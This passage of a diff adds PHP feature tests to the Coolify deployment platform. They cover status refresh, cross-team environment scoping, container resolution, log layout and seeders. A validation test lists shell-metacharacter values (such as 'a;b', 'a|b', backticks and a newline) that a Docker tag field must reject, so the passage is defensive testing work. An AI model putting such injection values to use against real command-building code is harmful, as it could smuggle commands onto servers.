+        'destination_type' => $destination->getMorphClass(),
+    ]);
+
+    $component = app(DatabaseImport::class);
+    $component->resourceId = $database->id;
+    $component->resourceType = StandaloneMysql::class;
+
+    $database->fill(['status' => 'running:healthy'])->save();
+
+    $component->refreshStatus();
+
+    expect($component->resourceStatus)->toBe('running:healthy');
+});
+
+it('reloads the mysql status-info model when refresh is called so ssl controls follow the latest status', function () {
+    $server = Server::factory()->create(['team_id' => $this->team->id]);
+    $destination = StandaloneDocker::where('server_id', $server->id)->first();
+    $project = Project::factory()->create(['team_id' => $this->team->id]);
+    $environment = Environment::factory()->create(['project_id' => $project->id]);
+
+    $database = StandaloneMysql::create([
+        'name' => 'test-mysql',
+        'image' => 'mysql:8',
+        'mysql_root_password' => 'password',
+        'mysql_user' => 'coolify',
+        'mysql_password' => 'password',
+        'mysql_database' => 'coolify',
+        'status' => 'exited:unhealthy',
+        'enable_ssl' => true,
+        'is_log_drain_enabled' => false,
+        'environment_id' => $environment->id,
+        'destination_id' => $destination->id,
+        'destination_type' => $destination->getMorphClass(),
+    ]);
+
+    $component = Livewire::test(MysqlStatusInfo::class, ['database' => $database])
+        ->assertDontSee('Database should be stopped to change this settings.');
+
+    $database->fill(['status' => 'running:healthy'])->save();
+
+    $component->call('refresh')
+        ->assertSee('Database should be stopped to change this settings.');
+});
+
+it('does not clobber server form text inputs when sentinel restarts', function () {
+    $server = Server::factory()->create([
+        'team_id' => $this->team->id,
+        'name' => 'persisted-server-name',
+    ]);
+
+    $component = Livewire::test(Sentinel::class, ['server_uuid' => $server->uuid])
+        ->set('sentinelToken', 'user-was-typing-this-token');
+
+    $component->call('handleSentinelRestarted', ['serverUuid' => $server->uuid]);
+
+    expect($component->get('sentinelToken'))->toBe('user-was-typing-this-token');
+});
+
+it('does not clobber server form text inputs when server validation completes', function () {
+    $server = Server::factory()->create([
+        'team_id' => $this->team->id,
+        'name' => 'persisted-server-name',
+    ]);
+
+    $component = Livewire::test(Show::class, ['server_uuid' => $server->uuid])
+        ->set('name', 'user-was-typing-here')
+        ->set('ip', '203.0.113.42');
+
+    $component->call('handleServerValidated', ['serverUuid' => $server->uuid]);
+
+    expect($component->get('name'))->toBe('user-was-typing-here')
+        ->and($component->get('ip'))->toBe('203.0.113.42');
+});
+
+it('shows the redis ssl gate hint after the sibling is refreshed', function () {
+    $server = Server::factory()->create(['team_id' => $this->team->id]);
+    $destination = StandaloneDocker::where('server_id', $server->id)->first();
+    $project = Project::factory()->create(['team_id' => $this->team->id]);
+    $environment = Environment::factory()->create(['project_id' => $project->id]);
+
+    $database = StandaloneRedis::create([
+        'name' => 'test-redis',
+        'image' => 'redis:7',
+        'redis_password' => 'password',
+        'redis_username' => 'default',
+        'status' => 'exited:unhealthy',
+        'enable_ssl' => true,
+        'is_log_drain_enabled' => false,
+        'environment_id' => $environment->id,
+        'destination_id' => $destination->id,
+        'destination_type' => $destination->getMorphClass(),
+    ]);
+
+    $component = Livewire::test(RedisStatusInfo::class, ['database' => $database])
+        ->assertDontSee('Database should be stopped to change this settings.');
+
+    $database->fill(['status' => 'running:healthy'])->save();
+
+    $component->call('refresh')
+        ->assertSee('Database should be stopped to change this settings.');
+});

tests/Feature/DeleteEnvironmentTeamScopingTest.php

@@ -0,0 +1,88 @@
+<?php
+
+use App\Livewire\Project\DeleteEnvironment;
+use App\Models\Application;
+use App\Models\Environment;
+use App\Models\InstanceSettings;
+use App\Models\Project;
+use App\Models\Team;
+use App\Models\User;
+use Illuminate\Database\Eloquent\ModelNotFoundException;
+use Illuminate\Foundation\Testing\RefreshDatabase;
+use Livewire\Features\SupportLockedProperties\CannotUpdateLockedPropertyException;
+use Livewire\Livewire;
+
+uses(RefreshDatabase::class);
+
+beforeEach(function () {
+    InstanceSettings::unguarded(fn () => InstanceSettings::query()->create(['id' => 0]));
+
+    // Current team
+    $this->userA = User::factory()->create();
+    $this->teamA = Team::factory()->create();
+    $this->userA->teams()->attach($this->teamA, ['role' => 'owner']);
+    $this->projectA = Project::factory()->create(['team_id' => $this->teamA->id]);
+    $this->environmentA = Environment::factory()->create(['project_id' => $this->projectA->id]);
+
+    // Another team
+    $this->userB = User::factory()->create();
+    $this->teamB = Team::factory()->create();
+    $this->userB->teams()->attach($this->teamB, ['role' => 'owner']);
+    $this->projectB = Project::factory()->create(['team_id' => $this->teamB->id]);
+    $this->environmentB = Environment::factory()->create(['project_id' => $this->projectB->id]);
+
+    $this->actingAs($this->userA);
+    session(['currentTeam' => $this->teamA]);
+});
+
+test('mount cannot load DeleteEnvironment with environment from another team', function () {
+    Livewire::test(DeleteEnvironment::class, ['environment_id' => $this->environmentB->id]);
+})->throws(ModelNotFoundException::class);
+
+test('mount can load DeleteEnvironment with own team environment', function () {
+    $component = Livewire::test(DeleteEnvironment::class, ['environment_id' => $this->environmentA->id]);
+
+    expect($component->get('environmentName'))->toBe($this->environmentA->name);
+});
+
+test('environment_id is locked and cannot be reassigned from the client', function () {
+    $component = Livewire::test(DeleteEnvironment::class, ['environment_id' => $this->environmentA->id]);
+
+    try {
+        $component->set('environment_id', $this->environmentB->id);
+        $this->fail('Setting a #[Locked] property should have thrown.');
+    } catch (CannotUpdateLockedPropertyException) {
+        expect(true)->toBeTrue();
+    }
+});
+
+test('delete still removes an empty environment owned by the current team', function () {
+    $component = Livewire::test(DeleteEnvironment::class, ['environment_id' => $this->environmentA->id])
+        ->set('parameters', ['project_uuid' => $this->projectA->uuid]);
+
+    $component->call('delete');
+
+    expect(Environment::find($this->environmentA->id))->toBeNull();
+});
+
+test('delete cannot resolve a non-empty environment from another team', function () {
+    // The team-scoped lookup must stay in the delete() path so the
+    // "has defined resources" branch can never run for an environment
+    // outside the caller's team.
+    Application::factory()->create([
+        'environment_id' => $this->environmentB->id,
+    ]);
+
+    $teamScopedLookup = fn () => Environment::ownedByCurrentTeam()
+        ->findOrFail($this->environmentB->id);
+
+    expect($teamScopedLookup)->toThrow(ModelNotFoundException::class);
+});
+
+test('team scoped lookup permits own team environment', function () {
+    // Positive case so the cross-team check above cannot pass merely
+    // because the helper itself is broken.
+    $found = Environment::ownedByCurrentTeam()->findOrFail($this->environmentA->id);
+
+    expect($found->id)->toBe($this->environmentA->id);
+});

tests/Feature/DeploymentCommandContainerResolutionTest.php

@@ -0,0 +1,116 @@
+<?php
+
+use App\Jobs\ApplicationDeploymentJob;
+use App\Models\Application;
+use App\Models\ApplicationDeploymentQueue;
+
+function createJobWithProperties(string $uuid): object
+{
+    $ref = new ReflectionClass(ApplicationDeploymentJob::class);
+    $instance = $ref->newInstanceWithoutConstructor();
+
+    $app = Mockery::mock(Application::class)->makePartial();
+    $app->uuid = $uuid;
+
+    $queue = Mockery::mock(ApplicationDeploymentQueue::class)->makePartial();
+    $queue->shouldReceive('addLogEntry')->andReturnNull();
+
+    $appProp = $ref->getProperty('application');
+    $appProp->setAccessible(true);
+    $appProp->setValue($instance, $app);
+
+    $queueProp = $ref->getProperty('application_deployment_queue');
+    $queueProp->setAccessible(true);
+    $queueProp->setValue($instance, $queue);
+
+    return $instance;
+}
+
+function invokeResolve(object $instance, $containers, ?string $specifiedName, string $type): ?array
+{
+    $ref = new ReflectionClass(ApplicationDeploymentJob::class);
+    $method = $ref->getMethod('resolveCommandContainer');
+    $method->setAccessible(true);
+
+    return $method->invoke($instance, $containers, $specifiedName, $type);
+}
+
+describe('resolveCommandContainer', function () {
+    test('returns null when no containers exist', function () {
+        $instance = createJobWithProperties('abc123');
+        $result = invokeResolve($instance, collect([]), 'web', 'Pre-deployment');
+
+        expect($result)->toBeNull();
+    });
+
+    test('returns the sole container when only one exists', function () {
+        $container = ['Names' => 'web-abc123', 'Labels' => ''];
+        $instance = createJobWithProperties('abc123');
+        $result = invokeResolve($instance, collect([$container]), null, 'Pre-deployment');
+
+        expect($result)->toBe($container);
+    });
+
+    test('returns the sole container regardless of specified name when only one exists', function () {
+        $container = ['Names' => 'web-abc123', 'Labels' => ''];
+        $instance = createJobWithProperties('abc123');
+        $result = invokeResolve($instance, collect([$container]), 'wrong-name', 'Pre-deployment');
+
+        expect($result)->toBe($container);
+    });
+
+    test('returns null when no container name specified for multi-container app', function () {
+        $containers = collect([
+            ['Names' => 'web-abc123', 'Labels' => ''],
+            ['Names' => 'worker-abc123', 'Labels' => ''],
+        ]);
+        $instance = createJobWithProperties('abc123');
+        $result = invokeResolve($instance, $containers, null, 'Pre-deployment');
+
+        expect($result)->toBeNull();
+    });
+
+    test('returns null when empty string container name for multi-container app', function () {
+        $containers = collect([
+            ['Names' => 'web-abc123', 'Labels' => ''],
+            ['Names' => 'worker-abc123', 'Labels' => ''],
+        ]);
+        $instance = createJobWithProperties('abc123');
+        $result = invokeResolve($instance, $containers, '', 'Pre-deployment');
+
+        expect($result)->toBeNull();
+    });
+
+    test('matches correct container by specified name in multi-container app', function () {
+        $containers = collect([
+            ['Names' => 'web-abc123', 'Labels' => ''],
+            ['Names' => 'worker-abc123', 'Labels' => ''],
+        ]);
+        $instance = createJobWithProperties('abc123');
+        $result = invokeResolve($instance, $containers, 'worker', 'Pre-deployment');
+
+        expect($result)->toBe(['Names' => 'worker-abc123', 'Labels' => '']);
+    });
+
+    test('returns null when specified container name does not match any container', function () {
+        $containers = collect([
+            ['Names' => 'web-abc123', 'Labels' => ''],
+            ['Names' => 'worker-abc123', 'Labels' => ''],
+        ]);
+        $instance = createJobWithProperties('abc123');
+        $result = invokeResolve($instance, $containers, 'nonexistent', 'Pre-deployment');
+
+        expect($result)->toBeNull();
+    });
+
+    test('matches container with PR suffix', function () {
+        $containers = collect([
+            ['Names' => 'web-abc123-pr-42', 'Labels' => ''],
+            ['Names' => 'worker-abc123-pr-42', 'Labels' => ''],
+        ]);
+        $instance = createJobWithProperties('abc123');
+        $result = invokeResolve($instance, $containers, 'web', 'Pre-deployment');
+
+        expect($result)->toBe(['Names' => 'web-abc123-pr-42', 'Labels' => '']);
+    });
+});

tests/Feature/DeploymentLogScrollTest.php

@@ -0,0 +1,104 @@
+<?php
+
+use App\Enums\ApplicationDeploymentStatus;
+use App\Models\Application;
+use App\Models\ApplicationDeploymentQueue;
+use App\Models\Environment;
+use App\Models\InstanceSettings;
+use App\Models\Project;
+use App\Models\Server;
+use App\Models\StandaloneDocker;
+use App\Models\Team;
+use App\Models\User;
+use Illuminate\Foundation\Testing\RefreshDatabase;
+use Illuminate\Testing\TestResponse;
+
+uses(RefreshDatabase::class);
+
+beforeEach(function () {
+    $this->user = User::factory()->create();
+    $this->team = Team::factory()->create();
+    $this->team->members()->attach($this->user->id, ['role' => 'owner']);
+
+    InstanceSettings::unguarded(function () {
+        InstanceSettings::query()->create([
+            'id' => 0,
+            'is_registration_enabled' => true,
+        ]);
+    });
+
+    $this->actingAs($this->user);
+    session(['currentTeam' => $this->team]);
+
+    $this->server = Server::factory()->create(['team_id' => $this->team->id]);
+    $this->destination = StandaloneDocker::query()->where('server_id', $this->server->id)->firstOrFail();
+    $this->project = Project::factory()->create(['team_id' => $this->team->id]);
+    $this->environment = Environment::factory()->create(['project_id' => $this->project->id]);
+    $this->application = Application::factory()->create([
+        'environment_id' => $this->environment->id,
+        'destination_id' => $this->destination->id,
+        'destination_type' => $this->destination->getMorphClass(),
+        'status' => 'running',
+    ]);
+});
+
+function showDeployment(string $status): TestResponse
+{
+    $deployment = ApplicationDeploymentQueue::create([
+        'application_id' => test()->application->id,
+        'deployment_uuid' => 'deploy-scroll-'.$status,
+        'server_id' => test()->server->id,
+        'status' => $status,
+        'logs' => json_encode([[
+            'command' => null,
+            'output' => 'log line for '.$status,
+            'type' => 'stdout',
+            'timestamp' => now()->toISOString(),
+            'hidden' => false,
+            'batch' => 1,
+            'order' => 1,
+        ]], JSON_THROW_ON_ERROR),
+    ]);
+
+    return test()->get(route('project.application.deployment.show', [
+        'project_uuid' => test()->project->uuid,
+        'environment_uuid' => test()->environment->uuid,
+        'application_uuid' => test()->application->uuid,
+        'deployment_uuid' => $deployment->deployment_uuid,
+    ]));
+}
+
+it('does not enable follow mode for a finished deployment', function () {
+    $response = showDeployment(ApplicationDeploymentStatus::FINISHED->value);
+
+    $response->assertSuccessful();
+    $response->assertSee('alwaysScroll: false', false);
+    $response->assertDontSee('alwaysScroll: true', false);
+});
+
+it('enables follow mode for an in-progress deployment', function () {
+    $response = showDeployment(ApplicationDeploymentStatus::IN_PROGRESS->value);
+
+    $response->assertSuccessful();
+    $response->assertSee('alwaysScroll: true', false);
+});
+
+it('scopes scroll teardown to the component so a stale loop cannot leak across deployments', function () {
+    $content = showDeployment(ApplicationDeploymentStatus::FINISHED->value)->getContent();
+
+    // Alpine destroy() tears the scroll loop down on wire:navigate away.
+    expect($content)->toContain('destroy()')
+        ->toContain('cancelScrollLoop()')
+        // Container lookup is component-scoped, not a global getElementById.
+        ->toContain("this.\$root.querySelector('#logsContainer')")
+        ->not->toContain("document.getElementById('logsContainer')")
+        // morph.updated hook only acts on this component's own DOM.
+        ->toContain('this.$root.contains(el)')
+        // Global Livewire hook is unregistered when Alpine tears down.
+        ->toContain('morphUpdatedCleanup: null')
+        ->toContain("this.morphUpdatedCleanup = Livewire.hook('morph.updated'")
+        ->toContain("typeof this.morphUpdatedCleanup === 'function'")
+        ->toContain('this.morphUpdatedCleanup()')
+        // Continuation timeout is tracked so it can be cancelled.
+        ->toContain('scrollTimeout');
+});

tests/Feature/DeploymentLogsLayoutTest.php

@@ -0,0 +1,79 @@
+<?php
+
+use App\Enums\ApplicationDeploymentStatus;
+use App\Models\Application;
+use App\Models\ApplicationDeploymentQueue;
+use App\Models\Environment;
+use App\Models\InstanceSettings;
+use App\Models\Project;
+use App\Models\Server;
+use App\Models\StandaloneDocker;
+use App\Models\Team;
+use App\Models\User;
+use Illuminate\Foundation\Testing\RefreshDatabase;
+
+uses(RefreshDatabase::class);
+
+beforeEach(function () {
+    $this->user = User::factory()->create();
+    $this->team = Team::factory()->create();
+    $this->team->members()->attach($this->user->id, ['role' => 'owner']);
+
+    InstanceSettings::unguarded(function () {
+        InstanceSettings::query()->create([
+            'id' => 0,
+            'is_registration_enabled' => true,
+        ]);
+    });
+
+    $this->actingAs($this->user);
+    session(['currentTeam' => $this->team]);
+
+    $this->server = Server::factory()->create(['team_id' => $this->team->id]);
+    $this->destination = StandaloneDocker::query()->where('server_id', $this->server->id)->firstOrFail();
+    $this->project = Project::factory()->create(['team_id' => $this->team->id]);
+    $this->environment = Environment::factory()->create(['project_id' => $this->project->id]);
+    $this->application = Application::factory()->create([
+        'environment_id' => $this->environment->id,
+        'destination_id' => $this->destination->id,
+        'destination_type' => $this->destination->getMorphClass(),
+        'status' => 'running',
+    ]);
+});
+
+it('renders deployment logs in a full-height layout', function () {
+    $deployment = ApplicationDeploymentQueue::create([
+        'application_id' => $this->application->id,
+        'deployment_uuid' => 'deploy-layout-test',
+        'server_id' => $this->server->id,
+        'status' => ApplicationDeploymentStatus::FINISHED->value,
+        'logs' => json_encode([
+            [
+                'command' => null,
+                'output' => 'rolling update started',
+                'type' => 'stdout',
+                'timestamp' => now()->toISOString(),
+                'hidden' => false,
+                'batch' => 1,
+                'order' => 1,
+            ],
+        ], JSON_THROW_ON_ERROR),
+    ]);
+
+    $response = $this->get(route('project.application.deployment.show', [
+        'project_uuid' => $this->project->uuid,
+        'environment_uuid' => $this->environment->uuid,
+        'application_uuid' => $this->application->uuid,
+        'deployment_uuid' => $deployment->deployment_uuid,
+    ]));
+
+    $response->assertSuccessful();
+    $response->assertSee('rolling update started');
+    $response->assertSee('flex h-[calc(100vh-10rem)] min-h-40 flex-col overflow-hidden', false);
+    $response->assertSee('flex flex-1 min-h-0 flex-col overflow-hidden', false);
+    $response->assertSee('mt-4 flex flex-1 min-h-0 flex-col overflow-hidden', false);
+    $response->assertSee('flex min-h-0 flex-col w-full overflow-hidden bg-white', false);
+    $response->assertSee('flex min-h-40 flex-1 flex-col overflow-y-auto p-2 px-4 scrollbar', false);
+
+    expect($response->getContent())->not->toContain('max-h-[30rem]');
+});

tests/Feature/DeploymentsIndicatorLayoutTest.php

@@ -0,0 +1,18 @@
+<?php
+
+it('positions the deployments indicator from the sidebar collapsed state', function () {
+    $indicatorView = file_get_contents(resource_path('views/livewire/deployments-indicator.blade.php'));
+    $layoutView = file_get_contents(resource_path('views/layouts/app.blade.php'));
+
+    expect($indicatorView)
+        ->toContain('transition-[left] duration-200')
+        ->toContain(":class=\"collapsed ? 'lg:left-16' : 'lg:left-56'\"")
+        ->not->toContain('fixed bottom-0 z-60 mb-4 left-0 lg:left-56 ml-4');
+
+    expect($layoutView)
+        ->toContain('<div x-data="{')
+        ->toContain('<livewire:deployments-indicator />');
+
+    expect(strpos($layoutView, '<div x-data="{'))
+        ->toBeLessThan(strpos($layoutView, '<livewire:deployments-indicator />'));
+});

tests/Feature/DeprecatedDockerComposeApplicationEndpointTest.php

@@ -0,0 +1,22 @@
+<?php
+
+use App\Http\Controllers\Api\ServicesController;
+use Illuminate\Support\Facades\Route;
+
+test('deprecated docker compose application endpoint is not registered', function () {
+    $routes = collect(Route::getRoutes()->getRoutes())
+        ->filter(fn ($route) => in_array('POST', $route->methods(), true))
+        ->filter(fn ($route) => $route->uri() === 'api/v1/applications/dockercompose');
+
+    expect($routes)->toBeEmpty();
+
+    $this->postJson('/api/v1/applications/dockercompose')->assertNotFound();
+});
+
+test('custom docker compose services endpoint remains registered', function () {
+    $route = collect(Route::getRoutes()->getRoutes())
+        ->first(fn ($route) => in_array('POST', $route->methods(), true) && $route->uri() === 'api/v1/services');
+
+    expect($route)->not->toBeNull()
+        ->and($route->getActionName())->toBe(ServicesController::class.'@create_service');
+});

tests/Feature/DevHelperVersionValidationTest.php

@@ -0,0 +1,90 @@
+<?php
+
+use App\Livewire\Settings\Index;
+use App\Models\InstanceSettings;
+use App\Models\Server;
+use App\Models\Team;
+use App\Models\User;
+use Illuminate\Database\Eloquent\Model;
+use Illuminate\Foundation\Testing\RefreshDatabase;
+use Illuminate\Support\Once;
+use Livewire\Livewire;
+
+uses(RefreshDatabase::class);
+
+beforeEach(function () {
+    Model::unguarded(function () {
+        $this->rootTeam = Team::find(0) ?? Team::create(['id' => 0, 'name' => 'Root Team', 'personal_team' => false]);
+        if (! Server::find(0)) {
+            Server::factory()->create(['id' => 0, 'team_id' => $this->rootTeam->id]);
+        }
+        if (! InstanceSettings::find(0)) {
+            InstanceSettings::create(['id' => 0]);
+        }
+    });
+    Once::flush();
+
+    $this->user = User::factory()->create();
+    $this->rootTeam->members()->attach($this->user->id, ['role' => 'admin']);
+
+    $this->actingAs($this->user);
+    session(['currentTeam' => ['id' => $this->rootTeam->id]]);
+});
+
+test('dev_helper_version rejects values outside Docker tag grammar on save', function () {
+    $invalid = [
+        'latest with spaces',
+        'a$b',
+        'a`b',
+        'a|b',
+        'a;b',
+        'a&b',
+        'a>b',
+        'a<b',
+        "a\nb",
+        '.bad',
+        '-rm',
+    ];
+
+    foreach ($invalid as $payload) {
+        Livewire::test(Index::class)
+            ->set('dev_helper_version', $payload)
+            ->call('instantSave')
+            ->assertHasErrors(['dev_helper_version']);
+    }
+
+    expect(InstanceSettings::find(0)->dev_helper_version)->toBeNull();
+});
+
+test('dev_helper_version accepts valid docker tag formats', function () {
+    $valid = ['1.0.12', 'latest', 'dev', 'dev-branch_2', 'v1.2.3-rc1', '1_0_0'];
+
+    foreach ($valid as $tag) {
+        Livewire::test(Index::class)
+            ->set('dev_helper_version', $tag)
+            ->call('instantSave')
+            ->assertHasNoErrors(['dev_helper_version']);
+
+        expect(InstanceSettings::find(0)->fresh()->dev_helper_version)->toBe($tag);
+    }
+});
+
+test('buildHelperImage refuses when non-dev environment', function () {
+    config(['app.env' => 'production']);
+
+    Livewire::test(Index::class)
+        ->set('dev_helper_version', 'latest')
+        ->call('buildHelperImage')
+        ->assertDispatched('error');
+});
+
+test('buildHelperImage refuses previously stored invalid version', function () {
+    config(['app.env' => 'local']);
+
+    $settings = InstanceSettings::find(0);
+    $settings->forceFill(['dev_helper_version' => 'bad value'])->saveQuietly();
+
+    Livewire::test(Index::class)
+        ->call('buildHelperImage')
+        ->assertDispatched('error');
+});

tests/Feature/DevelopmentRailpackExamplesSeederTest.php

@@ -0,0 +1,260 @@
+<?php
+
+use App\Models\Application;
+use App\Models\GithubApp;
+use App\Models\GitlabApp;
+use App\Models\PrivateKey;
+use App\Models\Project;
+use App\Models\Server;
+use App\Models\StandaloneDocker;
+use App\Models\Team;
+use Database\Seeders\DevelopmentRailpackExamplesSeeder;
+use Database\Seeders\GithubAppSeeder;
+use Database\Seeders\PrivateKeySeeder;
+use Database\Seeders\ProjectSeeder;
+use Database\Seeders\ServerSeeder;
+use Database\Seeders\StandaloneDockerSeeder;
+use Database\Seeders\TeamSeeder;
+use Database\Seeders\UserSeeder;
+use Illuminate\Foundation\Testing\RefreshDatabase;
+use Illuminate\Support\Collection;
+
+uses(RefreshDatabase::class);
+
+function seedRailpackExamplePrerequisites(): void
+{
+    test()->seed([
+        UserSeeder::class,
+        TeamSeeder::class,
+        PrivateKeySeeder::class,
+        ServerSeeder::class,
+        ProjectSeeder::class,
+        StandaloneDockerSeeder::class,
+        GithubAppSeeder::class,
+    ]);
+}
+
+function limaServers(): Collection
+{
+    return collect(DevelopmentRailpackExamplesSeeder::LIMA_SERVERS);
+}
+
+it('can seed the railpack examples directly on a clean development database', function () {
+    config()->set('app.env', 'local');
+
+    $this->seed(DevelopmentRailpackExamplesSeeder::class);
+
+    expect(Team::query()->find(0))->not->toBeNull();
+    expect(PrivateKey::query()->find(1))->not->toBeNull();
+    expect(Server::query()->find(0))->not->toBeNull();
+    expect(StandaloneDocker::query()->find(0))->not->toBeNull();
+    expect(GithubApp::query()->find(0))->not->toBeNull();
+    expect(GitlabApp::query()->find(1))->not->toBeNull();
+    expect(Application::query()->count())->toBe(count(DevelopmentRailpackExamplesSeeder::examples()) * limaServers()->count());
+
+    $project = Project::query()
+        ->where('uuid', DevelopmentRailpackExamplesSeeder::PROJECT_UUID)
+        ->first();
+
+    expect($project)
+        ->not->toBeNull()
+        ->and($project->environments)->toHaveCount(limaServers()->count());
+
+    foreach (limaServers() as $limaServer) {
+        $server = Server::query()->where('uuid', $limaServer['server_uuid'])->first();
+
+        expect($server)->not->toBeNull();
+        expect($server->settings->sentinel_custom_url)->toBe('http://host.lima.internal:8000');
+        expect(StandaloneDocker::query()->whereRelation('server', 'uuid', $limaServer['server_uuid'])->exists())->toBeTrue();
+        expect($project->environments()->where('uuid', $limaServer['environment_uuid'])->exists())->toBeTrue();
+    }
+});
+
+it('seeds the railpack examples in development mode', function () {
+    config()->set('app.env', 'local');
+
+    seedRailpackExamplePrerequisites();
+    $legacyProject = Project::query()->create([
+        'uuid' => 'railpack-examples-lima-ubuntu-2404',
+        'name' => 'Railpack Examples - lima-ubuntu-2404',
+        'description' => 'Legacy generated Railpack examples project',
+        'team_id' => 0,
+    ]);
+    Application::query()->create([
+        'uuid' => 'lima-ubuntu-2404-railpack-nextjs-ssr',
+        'name' => 'Legacy Railpack Next.js SSR Example',
+        'repository_project_id' => DevelopmentRailpackExamplesSeeder::REPOSITORY_PROJECT_ID,
+        'git_repository' => DevelopmentRailpackExamplesSeeder::GIT_REPOSITORY,
+        'git_branch' => DevelopmentRailpackExamplesSeeder::GIT_BRANCH,
+        'build_pack' => 'railpack',
+        'ports_exposes' => '3000',
+        'environment_id' => $legacyProject->environments()->first()->id,
+        'destination_id' => 0,
+        'destination_type' => StandaloneDocker::class,
+        'source_id' => 0,
+        'source_type' => GithubApp::class,
+    ]);
+
+    $this->seed(DevelopmentRailpackExamplesSeeder::class);
+
+    $project = Project::query()
+        ->where('uuid', DevelopmentRailpackExamplesSeeder::PROJECT_UUID)
+        ->first();
+
+    expect($project)
+        ->not->toBeNull()
+        ->and($project->name)->toBe('Railpack Examples')
+        ->and($project->environments)->toHaveCount(limaServers()->count());
+    expect(Project::query()->pluck('uuid')->sort()->values()->all())->toBe([
+        'project',
+        DevelopmentRailpackExamplesSeeder::PROJECT_UUID,
+    ]);
+    expect(Application::query()->where('uuid', 'lima-ubuntu-2404-railpack-nextjs-ssr')->exists())->toBeFalse();
+
+    $applications = $project->applications()->with('settings')->orderBy('uuid')->get();
+
+    expect($applications)->toHaveCount(count(DevelopmentRailpackExamplesSeeder::examples()) * limaServers()->count());
+    expect($applications->every(fn (Application $application) => $application->build_pack === 'railpack'))->toBeTrue();
+
+    $examples = collect(DevelopmentRailpackExamplesSeeder::examples())->keyBy('uuid');
+    expect($applications->every(
+        fn (Application $application) => $application->git_repository === ($examples->get(str($application->uuid)->after('-')->value())['git_repository'] ?? DevelopmentRailpackExamplesSeeder::GIT_REPOSITORY)
+    ))->toBeTrue();
+    expect($applications->every(
+        fn (Application $application) => $application->git_branch === ($examples->get(str($application->uuid)->after('-')->value())['git_branch'] ?? DevelopmentRailpackExamplesSeeder::GIT_BRANCH)
+    ))->toBeTrue();
+
+    foreach (limaServers() as $limaServer) {
+        $limaEnvironment = $project->environments()
+            ->where('uuid', $limaServer['environment_uuid'])
+            ->first();
+
+        expect($limaEnvironment)
+            ->not->toBeNull()
+            ->and($limaEnvironment->name)->toBe($limaServer['environment_name']);
+
+        $limaApplications = $limaEnvironment->applications()->with('settings', 'destination.server')->orderBy('uuid')->get();
+
+        expect($limaApplications)->toHaveCount(count(DevelopmentRailpackExamplesSeeder::examples()));
+        expect($limaApplications->every(fn (Application $application) => $application->build_pack === 'railpack'))->toBeTrue();
+        expect($limaApplications->every(fn (Application $application) => str($application->uuid)->startsWith($limaServer['uuid_prefix'])))->toBeTrue();
+        expect($limaApplications->every(fn (Application $application) => $application->destination->server->uuid === $limaServer['server_uuid']))->toBeTrue();
+        expect($limaApplications->every(
+            fn (Application $application) => $application->git_repository === ($examples->get(str($application->uuid)->after($limaServer['uuid_prefix'])->value())['git_repository'] ?? DevelopmentRailpackExamplesSeeder::GIT_REPOSITORY)
+        ))->toBeTrue();
+        expect($limaApplications->every(
+            fn (Application $application) => $application->git_branch === ($examples->get(str($application->uuid)->after($limaServer['uuid_prefix'])->value())['git_branch'] ?? DevelopmentRailpackExamplesSeeder::GIT_BRANCH)
+        ))->toBeTrue();
+    }
+
+    $nestjs = $applications->firstWhere('uuid', 'ubuntu24-railpack-nestjs');
+    $angularStatic = $applications->firstWhere('uuid', 'ubuntu24-railpack-angular-static');
+    $eleventyStatic = $applications->firstWhere('uuid', 'ubuntu24-railpack-eleventy-static');
+    $pythonFlask = $applications->firstWhere('uuid', 'ubuntu24-railpack-python-flask');
+    $goGin = $applications->firstWhere('uuid', 'ubuntu24-railpack-go-gin');
+    $rust = $applications->firstWhere('uuid', 'ubuntu24-railpack-rust');
+    $githubDeployKey = $applications->firstWhere('uuid', 'ubuntu24-railpack-github-deploy-key');
+    $gitlabDeployKey = $applications->firstWhere('uuid', 'ubuntu24-railpack-gitlab-deploy-key');
+    $gitlabPublic = $applications->firstWhere('uuid', 'ubuntu24-railpack-gitlab-public-example');
+
+    expect($nestjs)
+        ->not->toBeNull()
+        ->and($nestjs->base_directory)->toBe('/node/nestjs')
+        ->and($nestjs->ports_exposes)->toBe('3000')
+        ->and($nestjs->build_command)->toBe('npm run build')
+        ->and($nestjs->start_command)->toBe('npm run start:prod')
+        ->and($nestjs->settings->is_static)->toBeFalse();
+
+    expect($angularStatic)
+        ->not->toBeNull()
+        ->and($angularStatic->publish_directory)->toBe('/dist/static/browser')
+        ->and($angularStatic->ports_exposes)->toBe('80')
+        ->and($angularStatic->settings->is_static)->toBeTrue()
+        ->and($angularStatic->settings->is_spa)->toBeTrue();
+
+    expect($eleventyStatic)
+        ->not->toBeNull()
+        ->and($eleventyStatic->publish_directory)->toBe('/_site')
+        ->and($eleventyStatic->settings->is_static)->toBeTrue()
+        ->and($eleventyStatic->settings->is_spa)->toBeFalse();
+
+    expect($pythonFlask)
+        ->not->toBeNull()
+        ->and($pythonFlask->ports_exposes)->toBe('5000')
+        ->and($pythonFlask->start_command)->toBe('flask run --host=0.0.0.0 --port=5000');
+
+    expect($goGin)
+        ->not->toBeNull()
+        ->and($goGin->ports_exposes)->toBe('3000');
+
+    expect($rust)
+        ->not->toBeNull()
+        ->and($rust->ports_exposes)->toBe('8000');
+
+    expect($githubDeployKey)
+        ->not->toBeNull()
+        ->and($githubDeployKey->git_repository)->toBe('git@github.com:coollabsio/coolify-examples-deploy-key.git')
+        ->and($githubDeployKey->git_branch)->toBe('main')
+        ->and($githubDeployKey->build_pack)->toBe('railpack')
+        ->and($githubDeployKey->private_key_id)->toBe(1)
+        ->and($githubDeployKey->source_type)->toBe(GithubApp::class)
+        ->and($githubDeployKey->source_id)->toBe(0);
+
+    expect($gitlabDeployKey)
+        ->not->toBeNull()
+        ->and($gitlabDeployKey->git_repository)->toBe('git@gitlab.com:coollabsio/php-example.git')
+        ->and($gitlabDeployKey->git_branch)->toBe('main')
+        ->and($gitlabDeployKey->build_pack)->toBe('railpack')
+        ->and($gitlabDeployKey->private_key_id)->toBe(1)
+        ->and($gitlabDeployKey->source_type)->toBe(GitlabApp::class)
+        ->and($gitlabDeployKey->source_id)->toBe(1);
+
+    expect($gitlabPublic)
+        ->not->toBeNull()
+        ->and($gitlabPublic->git_repository)->toBe('https://gitlab.com/andrasbacsai/coolify-examples.git')
+        ->and($gitlabPublic->base_directory)->toBe('/astro/static')
+        ->and($gitlabPublic->publish_directory)->toBe('/dist')
+        ->and($gitlabPublic->build_pack)->toBe('railpack')
+        ->and($gitlabPublic->source_type)->toBe(GitlabApp::class)
+        ->and($gitlabPublic->settings->is_static)->toBeTrue();
+});
+
+it('skips the railpack examples outside development mode', function () {
+    config()->set('app.env', 'testing');
+
